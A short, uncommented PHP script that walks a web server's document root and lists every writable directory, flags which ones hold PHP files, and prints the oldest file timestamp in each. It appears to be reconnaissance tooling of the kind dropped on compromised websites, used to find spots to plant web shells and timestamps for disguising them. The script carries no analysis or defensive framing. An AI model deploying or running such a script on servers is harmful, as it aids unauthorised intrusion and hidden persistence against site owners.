<?php   function po($p) {     $f = glob("$p/*.*");     if (!in_array($f, ['.', '..'])) {         array_multisort(array_map('filemtime', $f), SORT_NUMERIC, SORT_ASC, $f);     }     return isset($f[0]) ? filemtime($f[0]) : filemtime($p); } function check($p, $root) {     $t = count(glob("$p/*.php")) ? 'ph' : 'd';     $o = po($p);     $res = str_replace($root, '', $p);     print "<{$t}>{$res}@{$o}</{$t}>\n"; } function scan($path, $root) {     if ($dir = @opendir($path)) {         while (false !== ($file = readdir($dir))) {             $p = $path . '/' . $file;             if ($file != '.' && $file != '..') {                 if (is_link($p)) {                     continue;                 } elseif (is_dir($p)) {                     if (is_writable($p)) {                         check($p, $root);                     }                     scan($p, $root);                 }             }         }     } } $r = $_SERVER['DOCUMENT_ROOT']; if (!$r) {     $p = getenv('PWD');     $dir = "";     $r = str_replace($dir, '', $p); }  if (is_writable($r)) {     check($r, $r); } scan($r, $r); die('!ended!');